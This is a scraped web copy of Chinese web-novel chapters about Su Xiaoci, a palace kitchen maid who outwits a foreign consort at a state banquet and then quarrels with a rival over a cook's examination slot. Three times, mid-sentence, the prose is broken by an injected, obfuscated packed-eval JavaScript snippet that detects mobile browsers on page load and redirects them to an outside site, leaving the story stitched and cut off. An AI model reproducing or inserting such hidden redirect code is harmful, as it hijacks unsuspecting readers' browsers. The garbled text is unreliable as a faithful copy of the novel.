那怎么连《礼记》这样最基础的经典都没有读过? 难道那和瀛国,尽是无礼之人耶? 况且,若是别的篇章不读也就罢了。 可此句出自《内则》一篇,并非是在讲天子起居,而是告诫子女如何敬养父母、供奉饮食的。 藤原纯子为人女而不知,则是不孝。 无礼、不孝,这样的人就是陛下新晋的宠妃吗? 至于李驰,则是心情复杂地看着自己想要炫耀的才女、神女。 “……爱妃呀,‘膏芗’之意是牛油,乃是周朝调味之一。因凡取自牲畜之脂,周朝不言‘油’,而言‘膏’,所以古籍之中……” 忽然之间,他只觉得没有耐性和心情再说下去了,也不再看藤原纯子,只将脸一撇,手随意往苏晓瓷方一指。 “你来说吧。” 藤原纯子的抢白,令苏晓瓷本来只是单纯为鸿胪寺开脱的行为变得复杂,处境也极其尴尬。 她意识到这一点,却也只能随机应变,硬着头皮说下去。 “回陛下、娘娘,此菜需选用三月龄以内的小乳猪,入炉以果木烤制之后,片取最为鲜美、肥瘦得宜的部分再以宽油爆炒,将每一片猪肉都焅出焦香的一圈金边。” 宴厅之中,许多大隆朝臣都情不自禁地咽了咽口水。 陈情就陈情,她怎么说得如此细致美味,真是将人的馋虫都勾起来了! 他们本就是在宴中被耽误,如今看热闹看累了,正是饥饿之时,便有那落拓恣意的臣子,偷偷夹了这炙豚肉入口—— 霎时间,辛香浓郁的滋味充满口腔。 确实是最鲜嫩的乳猪肉,每一片都是肥肉油而不腻,瘦肉则滑韧耐嚼,吃一个满口喷香。 那酱料更是点睛之笔。 主体是辣椒和蒜蓉的霸道味道,另有其它数种香料汇聚一堂,各显神通。 而能让它们如此和谐的酱料基底,这味道,真不愧是…… “……牛油膏。” 苏晓瓷也刚好说到那猪肉回锅爆炒时所用,正是牛油膏。 她偷瞄一眼藤原纯子的表情,一边在心中叹气一边继续。 “牛油的滋味浓醇,以香辣之味更能衬托。所以自开国起,此菜的酱汁定制便是二两膏,入四颗一寸长辣椒,另加四瓣……” 流畅得体的表达,外加娴熟细致的背诵,充分说明鸿胪制作这道菜寺既十分用心,又严守传统。 礼部尚书郭洹音大感惊奇,瞧着苏晓瓷的目光中染上欣赏之意。 不管这小膳婢是有意还是无意,她的话意确实在不知不觉间,就巧妙地消解了皇帝“备膳不用心”的斥责。 郭洹音抓住时机再次进言,“如此说来,依臣之见,这道炙豚肉的做法合理且合礼,不算鸿胪寺的失职。” 礼部尚书口中的一个“礼”字,重逾千金。 很多时候,这宫中的饮食礼仪,要远远大于内容。 就比如这道以《礼记》记载烹调的炙豚肉,未必比一碗放荡不羁的红烧肉更好吃。 但因为是天子之宴,所以必须要有,而且必须严格依照规矩制作。 而它既然合乎礼节,就没有被指摘的道理。 本来,臣子打了圆场,李驰也不欲在这糟心事上继续计较。 他就是为了给和瀛国面子,转而找己方的过失。 如果连己方也不用罚,自是皆大欢喜的。 于是,李驰借坡下驴,赞同了郭洹音的说法。 他甚至也没再继续追究鸿胪寺的责任,只象征性地又训斥两句,强调供给外邦使臣的餐食“务必格外精洁”云云。 说着,李驰摆摆手,就想将此事了结。 然而,藤原纯子忽然发话了。 “这位女官……” 虽然她的措辞客气,甚至是完全不必要的客气,面对苏晓瓷这样一看衣饰就是低阶宫婢的人,也显得彬彬有礼,极有风度。 然而一直软糯的声音,却带上了不自觉的尖细。 再说那神色,竟已有些恍惚了。 因为就在藤原纯子看到众人是如何静听苏晓瓷之语时,才猛然意识到:刚刚到底发生了什么—— 她在夫家最具权势的贵人们面前、在母族将她作高岭之花仰望的下人们面前、在因她而举办的国宴之上,狠狠地出了丑。 而在藤原纯子迄今为止的人生当中,所面临过的最大绝境,也不过是在汉诗会当日忽降暴雨,脏污了精心挑选的衣摆。 巨大的屈辱和不甘,还有被一个低贱的庖厨之人抢走风头的愤怒,居然驱使藤原纯子不依不饶地,继续针对苏晓瓷。 “这位女官,你所说的这道炙豚肉做法确实精妙。” “而豚肉在我和瀛国,向来是炙烤、或是清炖之后食用。” 藤原纯子的心态实在很好。 说话间,她已经恢复了一派温柔。 然而那双眼睛,却如同美丽花树上生的树瘤,黑漆漆、圆洞洞,一动不动,紧盯着苏晓瓷,似乎一定要抓住她的错漏。 藤原纯子问:“如和瀛国那样,取食物的天然滋味就很好。何必一定要加那酱料?” 她是笑着问的,然而就连李驰这样的迟钝直男都莫名觉出她的怅怅不乐,端酒盏的动作一滞,略微迷惑地朝她看了一眼。 至于郭洹音等旁观而清的,更是看透了这个问题的本质。 藤原纯子明明,已经将答案定死在问题里。 因为所谓“天然去雕饰”,乃是至性至情之美。 真要说起来,天下莫能与之争美。 只要抓住这一点诡辩,藤原纯子就可以不变应万变。 于是,无论苏晓瓷如何回答加酱料的理由——为了味道更好、为了卖相更佳、为了更易于下饭佐酒……都显得不那么充分。 这要如何回答? 郭洹音皱眉抚须,转而眉尖一挑,笑叹自己竟在真心实意为这小膳婢捏了一把汗。 他眼珠不错地瞧着苏晓瓷,而后,忽发生了一件令他怀疑自己老眼昏花的事情—— 只见那小小膳婢,居然极快、极轻地笑了一下。 而这样薄如云影中些微星芒的笑意,恰恰证明苏晓瓷生气了。 就连清圆的眼尾,都蛰出一钩锐利的尖尖来。 明明对大隆的饮食文化一知半解,为何非要来指手画脚? 给她兄长下的台阶,难道就一定要用她们鸿胪寺来砌? “回娘娘的话,大隆物产种类和烹调方法之丰富,千种万种,难以计量。这豚肉,自然也有直接炙烤或清煮的。” 既不谄媚,也不冒犯,苏晓瓷的态度凛凛清清,好像只是在陈述最简单的道理和事实。 “其它豚肉菜,自是怎么做都可以。” “可此菜既然是遵循古籍而作,便要一切依礼法而为。子曰……” 苏晓瓷微妙地停顿了一下。 她唇边得体而轻缓的弧度,如满嵌晶石的弯刀似的,飞快在藤原纯子身上剌了一下。 藤原纯子瞬间头皮发麻。 虽然这小奴婢一直恭谨有加、毫无错处,但是藤原纯子几乎可以肯定—— 她的这个停顿就好像在问:“《论语》,你总读过吧?” 对方躬身立于阶下,可高坐的藤原纯子却觉得,自己正在被睥睨。 那声音也如同珠玉掷于地,泠泠碰撞在藤原纯子耳边。 “……子曰,色恶,不食。” 苏晓瓷一字一顿地继续。 “臭恶,不食。” “失饪,不食。” “不时,不食。” “割不正,不食。”(2) 音量渐高的每一句“不食”,都在骄傲地夸耀君子之馔、天子之宴,该是怎样的食不厌精,脍不厌细。 大隆官员们听着听着,都不自觉地点头。 他们甚至要跟着这节奏微微摇头晃脑起来,仿佛回到了幼年启蒙的学堂之中,正跟着眉须皆白的老先生、还有茅窗外晃动的竹影,一遍又一遍,悠长地诵读。 华夏的文字之美,唐哉皇哉,浩然峨然。 那些短句的锋利,那些排比的恢宏,正被尽数淋漓展现。 官员们也说不清此时是什么心情,只觉得这一切由清越的女声叹唱似的说出,更令人心潮激荡。 置身席间,鼓胀的却不是肚腹,而是胸腔,仿佛有千种的意气、万般的豪情要澎湃而出。 而和瀛国众人,全部安静如鸡。 哭喊的、啜泣的、咳嗽的、私语交谈的,尽数在苏晓瓷的回答之中,下意识闭了嘴,一声不敢吱。 藤原纯子的神色尤其衰败。 《论语》……她到底是读过的。 苏晓瓷既然都背到这里了,藤原纯子便知道她要用什么来回答她的问题了。 而那个答案,将无懈可击。 不急不缓地,苏晓瓷也确实给出了最后一击—— “不得其酱,不食!” 妙啊! 郭洹音几乎要抚掌而叹了。 这样的回答,她藤原纯子还敢纠缠? 别说她只是一个昭仪,就算她是皇后、太后、太皇太后……又怎能对至圣先师的饮食礼仪挑剔一个字? 她要是敢这么做,天下人、不对,光是此时殿中人的唾沫星子就够把她淹死了,还够让其尸身顺流漂回和瀛去。 凡是和郭洹音打过交道的人,大都称赞他“沉静持重”“不怒而威”,简直生来就是为了胜任礼部之职。 这些人恐怕难以想象——这一位郭尚书,此时却恨不得在宫宴上击节大笑,因一个膳婢的话而深觉与有荣焉。 郭洹音看着藤原纯子惨白的面色,心说什么将军之女、绝世之才啊,居然还不如这殿上随手抓来的一个宫娥。 也对,郭洹音想,和瀛国,向来是最会大吹大擂的。 明明只有三分,他们便敢用精巧言辞装作十分,说得天上有地上无的。 因礼部和鸿胪寺皆司掌仪礼之事,二者职责偶有重叠,关系较近。 所以郭洹音对和瀛国的各种情况也很了解。 他知晓,大隆每回给作为三等邦国的和瀛的回礼,单单布料一类,就有茜绛色缎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561684|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五十匹、绀青色缎五十匹、白绢五十匹……(1) 可和瀛国送来的礼品,其实非常寒酸。 比如,他们每回都会送一种本国织的“班布”。 “班”通“斑”,这是一种染色木棉布。(1) 他们信誓旦旦,说此布是以最严谨的精神,由最灵巧的工匠们呕心沥血织就。 问题是,郭洹音并非不识农桑的云端之人,他是在民间当过父母官的。 依他看来,那班布黯淡又皱巴,咸菜叶子似的。 大隆村头六七十岁的老妪,一梭声尽重一梭,也能用破旧的织机织出更好的来…… 就是这样的土布,却能换走一片金玉琳琅。 和瀛国没有一分羞惭,而是十分理直气壮,只反复说班布的工艺是多么多么珍贵,多么多么独特。 而且,它们可是凝聚了“工匠之精魂”啊! 和普通的布能一样吗?! 彼时,郭洹音唯有和鸿胪寺卿相视苦笑。 如今,郭洹音算是看明白了,藤原纯子的情况,其实和那班布是一样的—— 半瓶咣当的水平,却被冠以不相符的盛名,无论外表怎样以谦虚包裹,其内里实以傲慢做芯。 还“汉学之神女”…… 居然如此轻率,就敢自比鬼神。 这样的话,郭洹音听都不敢听,他们却敢到处说。 最后的结果,就是堆砌的光环被轻易击破,露出平庸的本质来。 郭洹音一直不满于和瀛国行事作风,如今当场得见他们的虚伪被戳破,自然无不畅快。 而且苏晓瓷的回答,还替他报了方才谏言未被听取的一箭之仇。 他瞧着苏晓瓷,便更觉得可爱可亲起来。 更何况,郭洹音现在已经可以确定,之前她的回话并不是误打误撞,而都是恰到好处的设计。 当真是两排利齿伶牙,一副锦心绣肠。 如果不是礼部不缺女官,郭洹音都想将她撬过来了。 郭洹音方才手拍到一半,紧急停住了,可又觉得这莫名的激动热血无处宣泄,于是也偷摸夹了一大口炙豚肉,美滋滋吃下。 他心想,终于可以安安稳稳地宴饮了。 事实确实如此,因为苏晓瓷那毫无破绽的答案,藤原纯子根本不敢再反问半个字,只能连声附和。 而直到宴席结束,她也未再擅自发言。 无论郭洹音什么时候看去,都只见她十分乖巧地静坐。 可郭洹音心里也明白,此女既已入宫,便有新的波折已在孕育。 只能且行且看了。 *——*——* “好了,白灵姐姐,快别哭了。” 一边端着餐皿往鸿胪寺后厨撤,苏晓瓷还要一边轻声细语地劝。 她蕴着安抚的笑意,既是自嘲,又是试探。 “姐姐不怪我自作主张就好。” 白灵猛摇头,甩出几滴泪珠。 “怎么可能会怪你?晓瓷,这次你真是救了我。” 白灵活到二十岁后半,自知之明还是有的。 她有幸成为膳使,全靠确实颇有烹调的天赋。 可若真论起待人接物、立身处世的灵巧和从容,她则比不上苏晓瓷。 方才若是被责难之人是白灵,她必然两股战战,一句合理的辩解都说不出。 结果就是不仅自己受罚,还要连累整个后厨。 所以苏晓瓷一番操作,使一切得以周全,是真的救了她的性命和前程。 白灵真心感激,只道,“那样的情况,你肯挺身而出,我真是、真是,哎……真是不知该用什么来报答。” “不,姐姐。” 苏晓瓷微微一笑,“你知道的。” 白灵终于懂了。 而后,又懵了。 她实在不敢相信苏晓瓷为了那名额,敢去直面天子之怒。 白灵羞愧交加,只能据实以告。 “可那名额,已经、已经呈报给右膳长大人了……” “什么?” 苏晓瓷无语凝噎。 感情之前来找她的商量都是假的,人家分明已经先斩后奏了! 白灵之前被方芳言辞所迷,苏晓瓷却也理解她。 唯到了此时,苏晓瓷才真真正正开始怪起白灵来。 怪她茫无定见,想要做两头得好的老好人,最后却两头都成空。 她固然心思不坏,可绝非值得长随和深交的上峰,于苏晓瓷今后的路途无益。 这样想来,苏晓瓷赶紧成为膳使、从白灵手下自立门户的心情就更迫切了。 眼见苏晓瓷竟真惊到呆住,白灵臊得脸通红,都赶上差点咳死的藤原义了。 她当即向苏晓瓷许诺,会去面见右膳长大人,将名额更改回来。 白灵确为想一出是一出的主儿,苏晓瓷现已不愿轻信。正想着如何提出与她同去,也好多一层保险,身后却有人疾步追来。 借着宫道上两排石灯的溶溶暖光,苏晓瓷看清——来人正是右膳长身边最得力的一等膳使。 “苏晓瓷,右膳长大人找你,速与我同往。” 苏晓瓷:……好吧,还是我自己去吧。 5. 玉带糕、左右膳长 “晓瓷姐姐,你真的被右膳长大人骂了半个时辰啊?” 余珠儿难以置信地惊呼。 苏晓瓷苦笑点头。 昨夜国宴后被右膳长厉玉娘召去,对方一句句严厉的教训仿佛还在耳边回响。 …… “你以为你当了一回救星,是不是?” “陛下关心的,都是经邦纬国的大事,不管咱们这儿的鸡毛蒜皮,并不知晓你一个膳婢,根本无权独自制作菜肴。” “你差点一开始就要露馅!救不了白灵不说,连自己也搭进去!” “失职尚是小事,欺君却是大罪。这你还不明白?” …… 苏晓瓷精选几句,惟妙惟肖模仿出来。 听得余珠儿又想笑、又害怕,不敢想单独被右膳长大人骂半个时辰,那得是怎样的炼狱图景。 鸿胪寺后厨地位最高的两位长官——左、右膳长之中,以左为尊。 左膳长向上听候差遣,与鸿胪寺的官老爷们对接。 右膳长则负责治下,统管全部的膳使和膳婢。 严格来讲,膳长不是官身,没有品级。 因为本寺的官员,只在以鸿胪寺卿为首的那一套朝臣系统里。 后厨之人地位再高,也只是“匠”。 但右膳长厉玉娘年近不惑,行事公平光正,众人皆信服,尤为敬畏。 她到底管着一百五十号人呢,自有威仪,当得起一声“大人”。 余珠儿这样的小丫头见了她,活像耗子见了猫。 苏晓瓷昨夜被骂时,也是俯首贴耳,半句没顶嘴,与在八方厅中应对如流的模样,简直判若两人。 她态度良好,老老实实挨着,听着厉玉娘的指节一下下敲点茶案,一声声肃声教训。 彼时,纱屏烛影映晃,仿佛也在应和着厉玉娘,晃得苏晓瓷微微心慌,也有些后怕起来。 后怕,但是不后悔。 假如时间重置,为了那考核的机会,苏晓瓷仍是会如此一搏。 没办法,她就是这样的性格。 哪怕来到压抑的古代时空,哪怕步步惊心,灵魂中的激昂和自由却始终无法隐藏。 苏晓瓷总是想,这一切,也许就从跟随她两世的名字,可窥见一斑。 人如其名,实在是有道理的。 她那一个“晓”字,并非是充当音律和节奏上的缓冲,而是真正取其“拂晓”的含义。 因为家中人都在饮食行当,所以于金玉杯盏之类古玩也颇有研究。 苏晓瓷记得爷爷说过,拂晓开窑的瓷器是最有灵气、也最为坚固的。 入窑一色,出窑万彩。 做不做所谓的“窑魁”无所谓,因那只是他人评说的虚名。 但是,一定要烧炼出属于自己的色彩。 如瓷器一般,风吹过、雨淋过,可只要轻轻一擦,便仍是半点尘埃不沾染,仍然是清清白白、永恒不变的底色。 所以,要让苏晓瓷庸碌而卑微的活着,想说的话不能说,想做的事不能做,那她还不如去死了好了。 “晓瓷姐姐,你替人认罪的时候不害怕吗?” ——余珠儿的声音拉回了苏晓瓷的思绪,如今两人正处于苏晓瓷的寝房。 苏晓瓷和另外两位一等膳婢同住。 寝房是大通铺,但是悬隔着蒲席,各人有一张单独的桌案,屋中另有几件箱柜。 条件已经不错,苏晓瓷随遇而安,也算满意。 而余珠儿早上来看望她。 余珠儿心思澄稚,又长得娃娃似的可爱,苏晓瓷见了就喜欢,也愿意与她说话。 “怕也是怕的,但是呢,我也不是真毫无考量就往上莽的。” 当今皇帝李驰,无甚雄才大略,勉勉强强的守成之君耳。 但他确有一个珍贵的优点,便是对待宫人、臣子十分宽厚。 文治武功,乃是先天所缺,实难修补。 可那个“仁”字,听听劝、静静心、压压火,还是能一以贯之的。 因此本朝施刑非常慎重,亦较为轻缓,乃期望过而能改,而非把人往死路上逼。 苏晓瓷当时就想着,最差的情况就是顺着皇帝的意承认菜做得太辣了,挨几板子,总不至于赔了命。 这买卖还是值。 她将这些话,挑挑拣拣讲给余珠儿听了。 余珠儿并未全懂,但是懵懂的眼神中全是敬佩,连桌上的茶点糕饼都忘记吃了。 是的,这小家伙还挺上道,特意带了昨夜分得的吃食给苏晓瓷。 鸿胪寺后厨的惯例,向来是将剩下的吃食分于众人。 这是自太祖时便定下的节俭规矩。 若仍有剩,甚至要晒干储存,或是喂给鸟兽牲畜,总之,不可浪费。 当然,针对这个规矩,鸿胪寺执行得十分灵活。 该分的分,不该分的……也偷偷摸摸地分。 实在是因为庖厨之中,哪怕是最清正廉洁的人,都不会委屈自己的口腹。 厨子不偷,五谷不收嘛。 身份低微,却能轻易接触到来自五湖四海的最珍贵美食。 这种奇异的反差,是鸿胪寺众人心照不宣的隐秘乐趣。 谁也不可剥夺。 所以,身为最低三等膳婢的余珠儿,都能分得一包阿胶蜜枣和一包糖霜梨圈。 那阿胶是贡品,和去了核的金丝枣亲亲热热蜜炼了整三个时辰。 梨圈则是幽州香梨所做,满蘸细如雪的砂糖。这个时节的鲜梨,都是细心保管的越冬梨,稀罕着呢,京城里一枚就要五十文钱。 余珠儿担心苏晓瓷昨夜被叫走,没分到吃食,这便尽数带来了。 但其实,白灵已经因为羞愧,自觉把自己那一份补给苏晓瓷了。 她品级更高,可以更早挑选,除了干鲜果品,还拣了一盒精细糕饼。 三层玉带糕、五香糕、柏叶饼……种类繁多,食材顶尖,卖相也尤为诱人。 再加上余珠儿带来的,这满满一桌零嘴儿,说是士族贵女的下午茶也不为过。 苏晓瓷拿起一块三层玉带糕,细细看起来。 这糕饼一寸见方,八角尖尖,颤颤在苏晓瓷指尖。 光滑的切面显示出两层白如凝脂的糯米糕,中夹着一层绿色的,看起来温软如玉。 ——正是苏晓瓷最喜欢的中式糕饼的感觉。 不争不抢,也不花里胡哨的,只是忠实而率直地展示着天然的谷米和果味香气。 但其中,又有许多别具匠心的设计。 苏晓瓷一口咬下,伴着牙齿破开柔韧的糯米糕体,浓醇的奶香也霎时充满口腔。 她不禁享受地喟叹一声。 这牛乳酥油的加入,便是第一个点睛的设计。 一层糕,刷一层厚厚的酥油,不仅将糕体自然分出了层次,成了“三层”玉带糕,更赋予了它尤为香美的滋味。 糕体隔天仍是如此油润的秘诀,也正在此。 说一千道一万,酥油可是有营养的好东西! 苏晓瓷才不会故作清高,而是大吃特吃。 毕竟,这具身体大病初愈。 而且原主本就瘦弱,导致苏晓瓷动不动就腿脚发虚、腰酸背痛,让在现世是一个魁梧女子的她极为不适应。 比如旁人都夸她刀工,可苏晓瓷自己知道,这细弱的小胳膊根本没发挥出自己的一半实力。 为厨之人,须得身强体健才行。 切墩儿、颠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561685|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勺,除了技巧,其实就是肌肉记忆和力气。 可也得先有肌肉啊! 苏晓瓷欲哭无泪,十分怀念自己那一具矫健精悍的壳子。 于是自醒来,她的第一目标其实是养好身体。 一整块玉带糕吃完,牛乳浓香散去,中间那层绿色的滋味终于慢慢浮现上来。这便是第二个神来之笔。 “原来是绿苎头。” 贮藏的苎麻叶子,淘漉干净,再切得碎碎的,加入了糯米浆一起蒸制。 所以成品中,还能看见星星点点的深绿叶碎。 苏晓瓷不自觉点头,赞叹,“搭配得正好。” 艾草、青麦、鼠曲草……可作为天然绿色染色剂的植物数不胜数。 苎麻嫩叶虽自带酸涩味,需要用石灰水炝制、腌渍,比较麻烦。 但是之后却能长久保存,将这抹春意收藏。 其味道也尤其恬淡悠远,比起浓烈的艾草等,和酥油搭配更为得宜。 小小的一块糕饼,却凝聚无数巧思和精工。 连苏晓瓷这样心气儿颇高的,都觉得受益匪浅,不得不敬佩先人的智慧。 苏晓瓷专心吃玉带糕,余珠儿则拿着一块冰糖琥珀糕吃得开怀。(1) 这也是宫廷食方,乃是用切块柿饼所制。 因用那澄黄透亮、橘红柔馥的柿饼块比拟琥珀,所以得名。 冰糖琥珀糕十分甜腻,深受余珠儿这个年纪的小丫头喜欢。 她嘴边挂着一层白白糖霜,想起昨夜之事仍是义愤填膺。 “晓瓷姐姐,陛下确实是很仁慈的。但是不管怎么说,将有害的杂药混入饮食,那可是要处绞刑的大罪啊!只要沾上这罪名,咱们鸿胪寺有一个算一个,都跑不了。” 余珠儿狠狠咬了一口琥珀糕,“什么破使臣嘛,净瞎说!差点被他害死!” 苏晓瓷点头,真心和无奈各一半。 “就是这个理,鸿胪寺后厨百人,实为一体。白灵姐姐的事,也是我的事。” 昨夜,苏晓瓷见厉玉娘骂累了之后,也是找准时机,如此与她解释的。 苏晓瓷知道,身为上位者总是爱看属下们团结一心的,就把这样肉麻的话不要钱似的往外说。 果然,厉玉娘被逗得破功笑了一下,好容易才又板起脸。 苏晓瓷不知道的是,厉玉娘其实很看重她。 能做到这个位置,厉玉娘自然是眼光如炬的。 她从前见苏晓瓷默默努力,便觉得这孩子心性坚韧,如今才发现,居然又很伶俐。 只是,到底太胆大妄为了。 正因为看重,厉玉娘才肯费气力去训诫苏晓瓷; 就如苏晓瓷现在愿意将她的心理和道理,掰开揉碎讲给余珠儿听。 骂了半个时辰,厉玉娘端起苏晓瓷很狗腿地沏的茶,见她始终谦虚受教,气便渐渐消了。 “赏罚分明,功过别论”,是厉玉娘治下的原则。 也确实多亏了苏晓瓷的应对,鸿胪寺后厨才没被那一口黑锅扣住。 所以,厉玉娘最后却是话锋一转,言明苏晓瓷也有功劳,应予奖赏。 若有所求,尽可提出。 “真的?!” 余珠儿听到此处,精神一振地激动发问。 “晓瓷姐姐,你要了什么赏赐呀?” 随着她的话音落下,寝房外恰传来一连串叫骂。 “苏晓瓷!你滚出来!” “你和右膳长大人说了什么?” “你凭什么顶替我的考核名额!” 骂声之中,苏晓瓷不慌不忙吃完了玉带糕。 而后,骤然起身,冷笑着往门口冲。 正要找你呢,她想,倒是自寻死路来了! 6. 怼方芳、乳娘登场 “方芳!” 苏晓瓷“啪”地一声推开寝门,气势凛凛就朝方芳低喝去。 “国宴翌日,大家可算能睡个懒觉。你鬼吼鬼叫做什么?” 没想到苏晓瓷如此强硬,正张扬舞爪的方芳不觉一怔,反应过来才赶紧找补着将脖子一梗,只恨恨看着她。 的确已经有五七个被吵醒的其他房中人,瞌睡的眼闪着八卦的光,相携过来看热闹。 春光近夏,天气清朗。 苏晓瓷站在门前廊下,纤长的树荫草影浮光似的掠过她的面颊,竟亮如刀锋。 寥寥几句话,直接将方芳怼到了人民群众的对立面。 方芳倒是没听出这层意思,反而将音量挑得更高。 “要不是你这么无耻,抢占我的名额,我又怎会这么早就找来?!” 周围人立时听出,方芳是为了何事而来。 毕竟这后厨一年到头,除了不时接待外邦使臣,最重要的就是各级考核了。 昨夜苏晓瓷要的奖赏,正是“参加此次膳使考核”。 厉玉娘当时很吃惊。 她以为苏晓瓷会恃功傲宠,起码索要些实在的银钱,或者狮子大开口,直接要求晋升为膳使呢? 她也未必不会同意。 没想到,苏晓瓷要的,只是这不一定会通过的考核名额。 因为苏晓瓷不需要特权。 她只想凭借自己的力量,将机会夺回,再靠着自己,通过考核。 其他的,绝不染指。 也许是读懂了苏晓瓷的想法,厉玉娘欣然同意。 九曲八绕,苏晓瓷付出艰辛、赌上性命,才把这本属于自己的名额夺了回来。 可是,在其他不知内情的人眼中,这个名额自始至终就是苏晓瓷的。 于是方芳此时的举动就是自爆,十分不可理喻。 余珠儿便甚为疑惑地问道。 “方芳姐姐,你在说什么?那名额本来就是给晓瓷姐姐的呀。” 又有其他人窃窃私语。 “对啊,我也听说了,白灵姐姐手下的名额早定给晓瓷。” “那方芳忽然间来发什么疯?” 方芳弄巧成拙,面对众人清澈的质问,脸上一阵青一阵红。 她只能狡辩,说其实最后决定把名额给她了,是苏晓瓷硬让白灵欠她人情,将这名额抢了去。 说着说着就开始哭,哭得整个人一抽一抽的。 方芳言之凿凿,情绪激动,围观人中还真有开始相信她。 苏晓瓷最看不惯她这个样子,终于开口,条分缕析地反驳。 “什么叫‘硬让白灵姐姐欠我人情’?方芳,你话要小心些说。” 苏晓瓷冷下脸,制止方芳说出她是帮白灵替罪的事实。 虽然那道炙豚肉实为白灵所做,寺中许多人都知晓,但是却是绝不可拿到明面来说的。 方芳也意识到失言,不再说话,只是更大声地哭,便引得越来越多的人过来看。 但她人缘堪忧,大多数人是向着苏晓瓷的,便有人站出来说公道话。 “方芳,你在白灵姐姐身边那么久,大前年、前年还有去年名额都给了你,可你都没通过。” “今年怎么也该轮到晓瓷了。” 膳使考核一年一度,每位膳使手下无论有几名一等膳婢,均只可以推举一人。 方芳被戳中痛处,登时也不哭了,只将掩面的胳膊一甩,扭头大声回呛。 “说不定这次就通过了呢?这是我最后一次机会,她偏要和我抢!” 许是见自己要成为众矢之的,方芳赶紧转变了政策。 抹一把泪,方芳急急走到苏晓瓷面前,牵住后者的衣袖哀求起来。 “晓瓷,你就不能让让我?你还有好几年可考。” “可我这次考不过,就要被遣散出宫了。” “我好不容易当上一等膳婢,就差这一哆嗦了。这里这么好,我不想出宫啊!” 依本朝例,除去犯错被罚的,或是因“多积宫人,以违天意”之论被提前放出去祈福的,膳婢们基本是及笄之年入宫,待到二十四岁的花信之年。 如果此时仍未升到膳使,就会被遣散出宫。 而膳使晋升只百里挑一的概率,是很困难的考核。 可一旦成功,身份地位就是质的飞跃。 不仅从此有手下的膳婢们照顾起居,做了人上之人,月钱也猛涨,偶尔再依靠职权捞点油水…… 这样的日子,简直比家境优渥的小家碧玉还滋润。 就如方芳所说,一等膳婢们,大都已在宫中沉浮数年,习惯了这样甘食好衣的精致生活。 天宫近在眼前,既然只差最后龙门一跃,又如何愿意轻易放弃? “方芳,我其实明白你的处境。” 苏晓瓷歪头一笑。 “可是,我为什么要让?” 会哭的孩子有糖吃,然后就一直有糖吃。 而肯吃苦的孩子,以后就有吃不完的苦。 苏晓瓷不留情面地击碎方芳的歪理。 “就因为我比你强,所以我就要让着你?” 她这种平静的蔑视,令方芳忽地心惊。 “方芳,你有没有想过,本朝选拔膳使的方式本就十分合理。” 十五进宫,廿四出宫。 十年光阴,足以诠释一个人了。 方芳忽然前来发难,确实出乎苏晓瓷意料,未能占得先机。 但她既来了,当着众人的面,苏晓瓷索性将话说开。 “所以,你到现在还没能升为膳使,不怪天不怪地、不怪谁谁谁抢了你的名额,只怪你自己。” “一怪你无厨艺上的资质;二怪你无值得进阶的特长和功劳。” 方芳听得脑子嗡嗡的。 从前软绵绵任自己搓扁揉圆的人,忽然间长出了八百根尖刺似的,还根根朝她心口刺。 如此落差,方芳实在无法接受。 气血猛然上头,方芳如失控的牛犊一样,直朝苏晓瓷扑去。 “小贱人,别给脸不要脸!” 这下子热闹了。 “哎你怎么打人?” “快快快,拉开她们!” “晓瓷没事吧?” “别打了别打了!” 事态升级,围观者也只能入局。 十来个人乱作一团。 都是妙龄的小娘子们,霎时间,好一片绿惨红愁、月缺花残,这个遗落了银簪,那个坠下了玉珥,呼喊和尖叫不绝于耳。 地面被搅得尘土纷飞,迷着苏晓瓷的眼,她身上则按着三四位姐妹的手。 但是苏晓瓷爆出惊人的力气,翻身骑到了方芳身上,刚想左右开弓给她几个耳光—— 无意之间,透过层层裙摆,她蓦然瞥见远处的一双绣罗鞋。 这双鞋,苏晓瓷可太熟悉了。 就在昨夜,她低头看了半个时辰。 于是下一秒,苏晓瓷柔弱地倒地。 还顺道滚了两圈。 “晓瓷!” 第一个冲上来的是白灵,将灰头土脸的苏晓瓷从地上抠起来,朝方芳怒目而视。 “晓瓷久病初愈,你怎么能打她?” 就是没久病初愈,也不能打啊! 苏晓瓷腹诽,但目的已达到,她索性赖在白灵怀里听她教训方芳。 因为从白灵的视角来看,完全是苏晓瓷被芳方芳掀倒在地。 她也确实很好摆弄,经过昨夜之事,这心已经完全偏向苏晓瓷了。 方芳还没被白灵这样骂过,当即委屈地申辩。 “白灵姐姐,你不能因为她昨夜替你——” “住口!” 缓步而来的,正是右膳长厉玉娘。 她身后跟随七八名膳使,一行人靓妆艳服,彩云一样飘来。 厉玉娘因震惊而微微瞠目,没想到方芳如此愚蠢,敢在大庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561686|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 